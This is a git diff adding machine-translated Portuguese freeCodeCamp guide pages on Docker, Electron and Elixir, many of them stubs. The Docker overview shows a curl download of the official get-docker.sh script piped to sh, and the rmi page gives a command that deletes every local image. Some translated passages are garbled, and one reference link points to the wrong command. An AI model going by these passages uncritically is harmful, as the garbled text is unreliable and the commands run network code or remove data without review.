+*   [Documentos do Docker CLI: rm](https://docs.docker.com/engine/reference/commandline/rm/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/docker/docker-rmi/index.md b/client/src/guide/portuguese/docker/docker-rmi/index.md
new file mode 100644
index 0000000000..256985b922
--- /dev/null
+++ b/client/src/guide/portuguese/docker/docker-rmi/index.md
@@ -0,0 +1,29 @@
+---
+title: Docker rmi
+localeTitle: Docker rmi
+---
+## Docker rmi
+
+`docker rmi` remove imagens pelo seu ID.
+
+Para remover a imagem, primeiro você precisa listar todas as imagens para obter os IDs da imagem, o nome da imagem e outros detalhes. Executando `docker images -a` simples do `docker images -a` comando `docker images -a` ou `docker images` .
+
+Depois disso, certifique-se de qual imagem deseja remover, para fazer isso executando este simples comando `docker rmi <your-image-id>` . Então você pode confirmar que a imagem foi removida ou não pela lista de todas as imagens e verifique.
+
+### Remover várias imagens
+
+Existe uma maneira de remover mais de uma imagem por vez, quando você deseja remover várias imagens específicas. Então, para fazer isso primeiro, obtenha IDs de imagem simplesmente listando as imagens e, em seguida, execute o comando seguido simples.
+
+`docker rmi <your-image-id> <your-image-id> ...`
+
+Escreva IDs de Imagens no comando seguido pelos espaços entre eles.
+
+### Remova todas as imagens de uma só vez
+
+Para remover todas as imagens, há um comando simples para fazer isso. `docker rmi $(docker images -q)`
+
+Aqui no comando acima, há dois comandos: o primeiro que executa o `$()` é a sintaxe do shell e retorna os resultados executados naquela sintaxe. Então, neste `-q- is a option is used to provide to return the unique IDs,` $ () retorna os resultados dos IDs das imagens e, em seguida, o `docker rmi` remove todas essas imagens.
+
+#### Para maiores informações:
+
+*   [Documentos do Docker CLI: rmi](https://docs.docker.com/engine/reference/commandline/rm/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/docker/index.md b/client/src/guide/portuguese/docker/index.md
new file mode 100644
index 0000000000..027ab54626
--- /dev/null
+++ b/client/src/guide/portuguese/docker/index.md
@@ -0,0 +1,36 @@
+---
+title: Docker
+localeTitle: Docker
+---
+## Docker
+
+O Docker é uma plataforma aberta para criar, enviar e executar aplicativos distribuídos. Está escrito em Go. Foi lançado pela primeira vez em 2013 e é desenvolvido pela Docker, Inc.
+
+O Docker é usado para executar pacotes chamados "contêineres". Os contêineres são isolados uns dos outros e do sistema operacional. Eles são mais leves que as máquinas virtuais, pois não usam a máquina host para executar um sistema operacional.
+
+Containerization, que é uma maneira de implementar e executar aplicativos, executa serviços isolados que são executados nativamente no kernel do Linux. A memória pode ser definida manualmente para cada contêiner no Docker.
+
+O Docker é usado para simplificar configurações e garantir um fluxo contínuo e suave de integração e implantação. Contêineres específicos podem ser especificados para ambientes de desenvolvimento, preparação e produção. Uma implementação real de um contêiner em produção, de acordo com o manual do Docker, é executá-lo como um serviço, usando o arquivo `docker-compose.yml` para configuração. Este é um arquivo YAML que define como os contêineres do Docker devem se comportar na produção.
+
+Uma das maiores vantagens do Docker é que ele pode ser usado por uma equipe que usa diferentes sistemas operacionais para criar projetos sem precisar se preocupar com conflitos de software.
+
+### Instalação
+
+*   Ubuntu: `sudo apt install docker`
+    
+*   RedHat: `yum install docker-ce`
+    
+*   Windows / macOS: [Download](https://www.docker.com/get-started)
+    
+*   Linux:
+    
+```
+curl -fsSL https://get.docker.com -o get-docker.sh 
+ sh get-docker.sh 
+```
+
+#### Mais Informações:
+
+*   Para download e documentação, verifique o site oficial do [docker](https://www.docker.com) : Site oficial do [Docker](https://www.docker.com)
+*   Para mais informações sobre conteinerização, faça o checkout [Search IT Operations](https://searchitoperations.techtarget.com/definition/application-containerization-app-containerization)
+*   Um Docker 101 de [Docker 101](https://github.com/docker/labs/tree/master/beginner/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/docker/separate-build-image/index.md b/client/src/guide/portuguese/docker/separate-build-image/index.md
new file mode 100644
index 0000000000..289f8e1777
--- /dev/null
+++ b/client/src/guide/portuguese/docker/separate-build-image/index.md
@@ -0,0 +1,81 @@
+---
+title: Separate Build Image
+localeTitle: Imagem de compilação separada
+---
+## Visão geral
+
+Fazer imagens docker leves é fundamental para ter um pipeline de desenvolvimento / implementação rápido. Para código compilado, construir o binário dentro de um contêiner docker tem o benefício de ser um processo de compilação repetido e padronizado. No entanto, isso pode criar imagens muito grandes que podem se tornar um problema no final da linha.
+
+## Nosso código
+
+Neste exemplo, usaremos um simples servidor web escrito em [Go](https://golang.org/) . O código a seguir é apenas um simples hello world webserver escutando na porta `8080` .
+
+```go
+package main 
+ 
+ import ( 
+    "fmt" 
+    "log" 
+    "net/http" 
+ ) 
+ 
+ func handler(w http.ResponseWriter, r *http.Request) { 
+    fmt.Fprint(w, "Hello world!") 
+ } 
+ 
+ func main() { 
+    http.HandleFunc("/", handler) 
+    log.Fatal(http.ListenAndServe(":8080", nil)) 
+ } 
+```
+
+### Dockerfile
+
+O Dockerfile para este código pode ser algo parecido com isto
+```
+FROM golang:1.11 
+ 
+ ADD . /app 
+ 
+ WORKDIR /app 
+ 
+ RUN go build -o /myserver . 
+ 
+ EXPOSE 8080 
+ 
+ CMD [ "/myserver" ] 
+```
+
+Construir esta imagem resulta em uma imagem com um tamanho de 783MB !! Com uma imagem desse tamanho para um aplicativo simples, é fácil ver como isso pode atrasar as coisas ao implantar.
+
+## Uma solução melhor
+
+Uma solução melhor seria usar uma imagem de construção separada para construir o binário e copiá-lo para a imagem final. Como Go gera um binário autônomo, podemos usar o `scratch` imagem janela de encaixe como uma base que é quase tão pequeno quanto ele ganha!
+
+### Dockerfile
+
+O Dockerfile a seguir irá primeiro construir o binário dentro da imagem do golang e então construir uma nova imagem a partir do zero, copiando o binário da primeira imagem para a segunda.
+```
+FROM golang:1.11 as build 
+ 
+ ADD . /app 
+ 
+ WORKDIR /app 
+ 
+ RUN go build -o /myserver . 
+ 
+ 
+ FROM scratch 
+ 
+ COPY --from=build /myserver /myserver 
+ 
+ EXPOSE 8080 
+ 
+ CMD [ "myserver" ] 
+```
+
+Construir a partir deste dockerfile resulta em um tamanho final de imagem de apenas 6,55MB! Isso é **100 vezes menor do** que a nossa primeira tentativa, o que faz com que seja 100 vezes mais rápido retirar a imagem de um registro!
+
+### Benefício bônus
+
+Não apenas agora temos uma pequena imagem de janela de encaixe para nosso aplicativo, mas também temos apenas que nos preocupar com a segurança de nosso aplicativo, já que não há outro software em execução no contêiner.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/documentation/index.md b/client/src/guide/portuguese/documentation/index.md
new file mode 100644
index 0000000000..4b41988737
--- /dev/null
+++ b/client/src/guide/portuguese/documentation/index.md
@@ -0,0 +1,13 @@
+---
+title: Code documentation
+localeTitle: Documentação de código
+---
+## Documentação de código
+
+A documentação do código é uma maneira de os desenvolvedores escreverem seu código para criar as melhores versões de suas funções possíveis. Documentações de código permite que o novato para se familiarizar com o costume do módulo particular, função etc para uma determinada linguagem de programação.É sempre recomendado para ir com a documentação antes de depurar o código, isso ajuda você a depurar de forma eficaz.Por exemplo, você deve ser capaz de repassar seu código para um iniciante absoluto e eles devem ser capazes de acompanhar por meio de comentários, nomes de variáveis ​​apropriados e código de estruturação de maneira espaçada e legível.
+
+Pode tornar-se uma ideia extremamente importante criar o hábito de comentar suas funções, loops e declarações e tratar os comentários como parte do código-fonte, assim como o código regular deveria ser.
+
+![Um exemplo de comentar no mundo real](https://cdn-images-1.medium.com/max/1620/1*Pyxsc7Uixbitv5myywaA_Q.jpeg)
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/electron/index.md b/client/src/guide/portuguese/electron/index.md
new file mode 100644
index 0000000000..8e353579ce
--- /dev/null
+++ b/client/src/guide/portuguese/electron/index.md
@@ -0,0 +1,30 @@
+---
+title: Electron
+localeTitle: Elétron
+---
+## Electron - Crie aplicativos de desktop Cross Platform com JavaScript, HTML e CSS
+
+O Electron permite que você crie aplicativos de desktop multiplataforma usando a tecnologia da web. Você pode construir aplicativos de desktop para Windows, Mac e os mais comuns do Linux.
+
+O Electron é construído no Chromium (a versão de código aberto do Google Chrome). Você Use tecnologias da Web como HTML, JavaScript e CSS para criar aplicativos eletrônicos. que significa que você pode usar a maioria das tecnologias da Web que você quiser para criar seu aplicativo de desktop nativo. Por exemplo, você pode usar o [React](https://medium.freecodecamp.org/building-an-electron-application-with-create-react-app-97945861647c) ou o [Angular](https://scotch.io/tutorials/creating-desktop-applications-with-angularjs-and-github-electron) para criar seu primeiro aplicativo de desktop.
+
+Além disso, o Electron vem com suporte para atualização automática, relatórios de falhas, e menus nativos.
+
+Recursos principais podem ser explorados usando as [demos](https://github.com/electron/electron-api-demos) da [Electron API](https://github.com/electron/electron-api-demos)
+
+Alguns aplicativos criados usando o Electron incluem:
+
+*   [Atom](https://atom.io/) (editor de texto de código aberto do GitHub)
+*   [Código do Visual Studio](https://code.visualstudio.com) (editor de texto de código aberto da Microsoft)
+*   [Skype](https://www.skype.com/) (aplicativo popular de bate-papo por vídeo da Microsoft)
+*   [Slack](https://slack.com/) (um aplicativo de mensagens para equipes)
+*   [Discórdia](https://discordapp.com) (um aplicativo de mensagens popular para gamers)
+*   [Área de trabalho do Github](https://desktop.github.com/) (cliente de desktop oficial do Github)
+
+### Referências adicionais de informação
+
+*   [Site oficial](https://electronjs.org/)
+*   [Vídeo - O que é o Electron](https://www.youtube.com/watch?v=8YP_nOCO-4Q&feature=youtu.be)
+*   \[Electron e Vue\]: https://medium.com/@kswanie21/electron-vue-js-f6c40abeb625
+*   \[Electron e React\]: https://medium.freecodecamp.org/building-an-electron-application-with-create-react-app-97945861647c
+*   \[Electron e Angular\]: https://scotch.io/tutorials/creating-desktop-applications-with-angularjs-and-github-electron
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/behaviours/index.md b/client/src/guide/portuguese/elixir/behaviours/index.md
new file mode 100644
index 0000000000..36c978514b
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/behaviours/index.md
@@ -0,0 +1,11 @@
+---
+title: Behaviours
+localeTitle: Comportamentos
+---
+## Comportamentos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/behaviours/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/comprehensions/index.md b/client/src/guide/portuguese/elixir/comprehensions/index.md
new file mode 100644
index 0000000000..10ea4f81fe
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/comprehensions/index.md
@@ -0,0 +1,11 @@
+---
+title: Comprehensions
+localeTitle: Compreensões
+---
+## Compreensões
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/comprehensions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/concurrency/index.md b/client/src/guide/portuguese/elixir/concurrency/index.md
new file mode 100644
index 0000000000..4ecffe26f4
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/concurrency/index.md
@@ -0,0 +1,11 @@
+---
+title: Concurrency
+localeTitle: Concorrência
+---
+## Concorrência
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/concurrency/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/control-structures/index.md b/client/src/guide/portuguese/elixir/control-structures/index.md
new file mode 100644
index 0000000000..2cd401b942
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/control-structures/index.md
@@ -0,0 +1,11 @@
+---
+title: Control Structures
+localeTitle: Estruturas de Controle
+---
+## Estruturas de Controle
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/control-structures/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/custom-mix-tasks/index.md b/client/src/guide/portuguese/elixir/custom-mix-tasks/index.md
new file mode 100644
index 0000000000..6c076a22e4
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/custom-mix-tasks/index.md
@@ -0,0 +1,11 @@
+---
+title: Custom Mix Tasks
+localeTitle: Tarefas de Mixagem Personalizada
+---
+## Tarefas de Mixagem Personalizada
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/custom-mix-tasks/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/data-types/index.md b/client/src/guide/portuguese/elixir/data-types/index.md
new file mode 100644
index 0000000000..6fc0cdf3e9
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/data-types/index.md
@@ -0,0 +1,72 @@
+---
+title: Data Types
+localeTitle: Tipos de dados
+---
+## Tipos de dados
+
+No Elixir existem cinco tipos básicos de dados: inteiros, flutuantes, booleanos, átomos e cadeias. Esses tipos de dados são usados ​​para armazenar valores para uso posterior em seu programa.
+
+### Inteiros
+
+Um inteiro é um número não decimal. O Elixir criou suporte para números binários, octais e hexadecimais como números inteiros.
+
+```elixir
+iex> 1337 
+ 1337 
+```
+
+### Flutuadores
+
+Um float requer um decimal e pelo menos um dígito após o decimal. Flutuadores suportam precisão dupla de 64 bits `e` para exponets.
+
+```elixir
+iex> 27e-100 
+ 27e-100 
+```
+
+### Booleanos
+
+Um booleano é um valor verdadeiro ou falso. Em Elixir, tudo é verdade, exceto `false` e `nil` . É importante notar que os booleanos são um subtipo de átomos de Elxir (você pode inspecionar os valores no IEX para ver por si mesmo).
+
+```elixir
+iex> true 
+ true 
+ iex> false 
+ false 
+ iex> nil 
+ nil 
+```
+
+### Átomos
+
+Um átomo é uma constante cujo valor é o mesmo que o nome. Os átomos são comumente usados ​​para mensagens de status / erros dentro de uma tupla com mais informações incluídas em uma string.
+
+```elixir
+iex> {:ok, "Message sent successfully"} 
+ {:ok, "Message sent successfully"} 
+ iex> {:error, "Message failed to send"} 
+ {:error, "Message failed to send"} 
+```
+
+### Cordas
+
+Uma string é codificada em UTF-8 e envolvida em aspas duplas.
+
+```elixir
+iex> "freeCodeCamp" 
+ "freeCodeCamp" 
+```
+
+Uma string também é um binário, você pode ver a representação binária de uma string no Elixir anexando `<> <<0>>` ao final da string. Uma string pode representar um binário, um binário também pode representar uma string.
+
+```elixir
+iex> "freeCodeCamp" <> <<0>> 
+ <<102, 114, 101, 101, 67, 111, 100, 101, 67, 97, 109, 112, 0>> 
+```
+
+#### Mais Informações
+
+*   [Hexdocs Atom](https://hexdocs.pm/elixir/Atom.html)
+*   [String Hexdocs](https://hexdocs.pm/elixir/String.html)
+*   [Hexdocs Integer](https://hexdocs.pm/elixir/Integer.html)
+*   [Hexdocs Float](https://hexdocs.pm/elixir/Float.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/debugging/index.md b/client/src/guide/portuguese/elixir/debugging/index.md
new file mode 100644
index 0000000000..6899a7f6bb
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/debugging/index.md
@@ -0,0 +1,11 @@
+---
+title: Debugging
+localeTitle: Depuração
+---
+## Depuração
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/debugging/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/documentation/index.md b/client/src/guide/portuguese/elixir/documentation/index.md
new file mode 100644
index 0000000000..9d0e021278
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/documentation/index.md
@@ -0,0 +1,58 @@
+---
+title: Documentation
+localeTitle: Documentação
+---
+## Documentação
+
+Um dos melhores avançados do Elixir, em comparação com outras linguagens de programação, é o seu sistema de documentação. A documentação do Elixir é criada pelos comentários do seu código e transformada em um bonito site HTML para você navegar com facilidade e entender como o aplicativo funciona. Depois de entender como comentar corretamente seu código no Elixir, você poderá explicar como o seu aplicativo funciona para outros programadores com facilidade. Nos exemplos abaixo mostramos o uso das funções de documentação do Elixir em um módulo de servidor web fictício.
+
+### Documentação Inline
+
+A documentação inline usa um `#` na frente do texto que descreve algo sobre o código.
+
+```elixir
+def get(path) do 
+    # This is an inline comment for documentation purposes. 
+    "http get request response" 
+  end 
+```
+
+### Documentação do Módulo
+
+Documento de módulo descreve o propósito de um módulo. Moduledocs são semelhantes aos comentários multilinhas que você encontraria em outras linguagens de programação.
+
+```elixir
+defmodule WebServer do 
+  @moduledoc """ 
+    Provides a set of functions to accept and respond to HTTP requests. 
+    This module provides the @get/1, @post/1, and @put/1 functions. 
+  """ 
+ end 
+```
+
+### Função Documentação
+
+Documentação de função descreve o propósito e uso de uma única função. Functiondocs são semelhantes aos comentários multilinha que você encontraria em outras linguagens de programação. Também mostra exemplos da função para que outro programador saiba o que esperar.
+
+```elixir
+  @doc """ 
+    Responds to a get request 
+ 
+    ## Parameters 
+     - path: A path to the desired resource 
+ 
+    ## Examples 
+     - iex> WebServer.get(/documentation.pdf) 
+       "Returning documentation.pdf 
+     - iex> WebServer.get(/downloads.html) 
+       "Returning downloads.html" 
+  """ 
+  def get(path) do 
+    "http get request response" 
+  end 
+```
+
+#### Mais Informações:
+
+*   [ElixirSchool - Documentação](https://elixirschool.com/en/lessons/basics/documentation/)
+*   [ExDoc](https://github.com/elixir-lang/ex_doc)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/ecto/index.md b/client/src/guide/portuguese/elixir/ecto/index.md
new file mode 100644
index 0000000000..b6284c20e9
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/ecto/index.md
@@ -0,0 +1,11 @@
+---
+title: Ecto
+localeTitle: Ecto
+---
+## Ecto
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/ecto/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/embedded-elixir/index.md b/client/src/guide/portuguese/elixir/embedded-elixir/index.md
new file mode 100644
index 0000000000..ea92641b4f
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/embedded-elixir/index.md
@@ -0,0 +1,11 @@
+---
+title: Embedded Elixir
+localeTitle: Elixir Embutido
+---
+## Elixir Embutido
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/embedded-elixir/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/enumerables/index.md b/client/src/guide/portuguese/elixir/enumerables/index.md
new file mode 100644
index 0000000000..5352ab85fe
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/enumerables/index.md
@@ -0,0 +1,34 @@
+---
+title: Enumerables
+localeTitle: Enumerável
+---
+## Enumeráveis ​​(Enum)
+
+Em linguagens de programação orientada a objetos, você usará um "loop" para executar a mesma ação repetidamente em um dado, no Elixir já que variáveis ​​são imutáveis, não é possível criar um laço tradicional, em vez disso Elixir e outras linguagens de programação funcionais dependem de recursão. Com a recursão, você executará a mesma ação sobre cada item de uma lista sem precisar alterar uma variável. A biblioteca Enum construída em Elixir torna isso fácil.
+
+## Exemplo
+
+Usando `Enum.map` você pode executar uma função anônima (função que não está dentro de um módulo) passando sobre cada item de uma lista. Isso realiza a mesma tarefa que um loop tradicional sem precisar alterar uma variável acumuladora.
+
+```elixir
+iex> Enum.map([1, 2, 3], fn(x) -> x * 2 end) 
+ [2, 4, 6] 
+```
+
+## Métodos no Módulo Enum
+
+O módulo Enum tem mais de 70 funções diferentes para usar em Enumerables, listando todas elas aqui ocupariam algumas páginas. Em vez disso, vamos ver as funções mais usadas no módulo Enum.
+
+### Enum.map
+
+`Enum.map` executa uma função anônima ou capturada em uma lista.
+
+```elixir
+iex> Enum.map([5, 10, 15, 20], fn(x) -> x * 2 end) 
+ [10, 20, 30, 40] 
+```
+
+#### Mais Informações:
+
+*   [elixir-lang.org | recursão](https://elixir-lang.org/getting-started/enumerables-and-streams.html)
+*   [hexdocs | Enum](https://hexdocs.pm/elixir/Enum.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/erlang-interoperability/index.md b/client/src/guide/portuguese/elixir/erlang-interoperability/index.md
new file mode 100644
index 0000000000..9c6c8c4325
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/erlang-interoperability/index.md
@@ -0,0 +1,11 @@
+---
+title: Erlang Interoperability
+localeTitle: Interoperabilidade Erlang
+---
+## Interoperabilidade Erlang
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/erlang-interoperability/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/erlang-term-storage/index.md b/client/src/guide/portuguese/elixir/erlang-term-storage/index.md
new file mode 100644
index 0000000000..42ddfa84f1
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/erlang-term-storage/index.md
@@ -0,0 +1,39 @@
+---
+title: Erlang Term Storage
+localeTitle: Armazenamento de Termo Erlang
+---
+## Armazenamento de Termo Erlang
+
+O Erlang Term Storage, normalmente abreviado como ETS, é um banco de dados embutido na memória embutido no OTP, é acessível dentro do Elixir e é uma alternativa poderosa para soluções como o Redis quando seu aplicativo é executado em um único nó.
+
+## Começo rápido
+
+Para criar uma tabela ETS, primeiro você precisa iniciar uma tabela `tableName = :ets.new(:table_otp_name, [])` , depois de ter iniciado uma tabela, você pode: inserir dados, pesquisar valores, excluir dados e muito mais.
+
+### ETS Demo in IEX
+
+```elixir
+iex(1)> myETSTable = :ets.new(:my_ets_table, []) 
+ #Reference<0.1520230345.550371329.65846> 
+ iex(2)> :ets.insert(myETSTable, {"favoriteWebSite", "freeCodeCamp"}) 
+ true 
+ iex(3)> :ets.insert(myETSTable, {"favoriteProgrammingLanguage", "Elixir"}) 
+ true 
+ iex(4)> :ets.i(myETSTable) 
+ <1   > {<<"favoriteProgrammingLanguage">>,<<"Elixir">>} 
+ <2   > {<<"favoriteWebSite">>,<<"freeCodeCamp">>} 
+ EOT  (q)uit (p)Digits (k)ill /Regexp --> 
+```
+
+## Persistência
+
+As Tabelas ETS não são persistentes e são destruídas quando o processo que a possui termina. Se você quiser armazenar dados persistentemente, recomenda-se um banco de dados tradicional e / ou armazenamento baseado em arquivos.
+
+## Casos de uso
+
+As Tabelas ETS são comumente usadas para armazenar dados em cache no aplicativo, por exemplo, os dados da conta obtidos de um banco de dados podem ser armazenados em uma Tabela ETS para reduzir a quantidade de consultas no banco de dados. Outro caso de uso é o uso de recursos de limitação de taxa em um aplicativo da Web - a rápida velocidade de leitura e gravação do ETS o torna excelente para isso. As Tabelas ETS são uma ferramenta poderosa para o desenvolvimento de aplicativos da Web altamente simultâneos com o menor custo de hardware possível.
+
+#### Mais Informações:
+
+*   [elixir-lang.org | Bibliotecas Erlang (ETS)](https://elixir-lang.org/getting-started/erlang-libraries.html#erlang-term-storage)
+*   [erlang.org | ETS](http://erlang.org/doc/man/ets.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/error-handling/index.md b/client/src/guide/portuguese/elixir/error-handling/index.md
new file mode 100644
index 0000000000..32e03ec62d
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/error-handling/index.md
@@ -0,0 +1,11 @@
+---
+title: Error Handling
+localeTitle: Tratamento de erros
+---
+## Tratamento de erros
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/error-handling/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/executables/index.md b/client/src/guide/portuguese/elixir/executables/index.md
new file mode 100644
index 0000000000..923a028316
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/executables/index.md
@@ -0,0 +1,11 @@
+---
+title: Executables
+localeTitle: Executáveis
+---
+## Executáveis
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/executables/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/functions/index.md b/client/src/guide/portuguese/elixir/functions/index.md
new file mode 100644
index 0000000000..ae80b10d7f
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Functions
+localeTitle: Funções
+---
+## Funções
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/functions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/genstage/index.md b/client/src/guide/portuguese/elixir/genstage/index.md
new file mode 100644
index 0000000000..b3c2aa2c51
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/genstage/index.md
@@ -0,0 +1,11 @@
+---
+title: Genstage
+localeTitle: piso Gens
+---
+## Genstage
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/genstage/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/iex-helpers/index.md b/client/src/guide/portuguese/elixir/iex-helpers/index.md
new file mode 100644
index 0000000000..e1b9fef458
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/iex-helpers/index.md
@@ -0,0 +1,11 @@
+---
+title: IEX Helpers
+localeTitle: Assistentes IEX
+---
+## Assistentes IEX
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/iex-helpers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/iex/index.md b/client/src/guide/portuguese/elixir/iex/index.md
new file mode 100644
index 0000000000..7f66106f80
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/iex/index.md
@@ -0,0 +1,11 @@
+---
+title: IEX
+localeTitle: IEX
+---
+## IEX (Modo Interativo)
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/iex/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/index.md b/client/src/guide/portuguese/elixir/index.md
new file mode 100644
index 0000000000..07411ef71e
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/index.md
@@ -0,0 +1,7 @@
+---
+title: Elixir
+localeTitle: Elixir
+---
+## Elixir
+
+Elixir é uma linguagem de programação dinâmica e funcional criada para rodar na máquina virtual Erlang (BEAM). O Elixir é conhecido por ser uma linguagem concorrente e de propósito geral que é frequentemente aproveitada com o poderoso framework Phoenix. Esta linguagem foi criada por José Valim e tem sido influenciada por linguagens como Ruby, Erlang e Closure.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/keyword-lists/index.md b/client/src/guide/portuguese/elixir/keyword-lists/index.md
new file mode 100644
index 0000000000..7653994e05
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/keyword-lists/index.md
@@ -0,0 +1,11 @@
+---
+title: Keyword Lists
+localeTitle: Listas de palavras-chave
+---
+## Listas de palavras-chave
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/keyword-lists/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/elixir/lists/index.md b/client/src/guide/portuguese/elixir/lists/index.md
new file mode 100644
index 0000000000..d836b58a0a
--- /dev/null
+++ b/client/src/guide/portuguese/elixir/lists/index.md
@@ -0,0 +1,42 @@
+---
+title: Lists
+localeTitle: Listas
+---
+## Listas
+
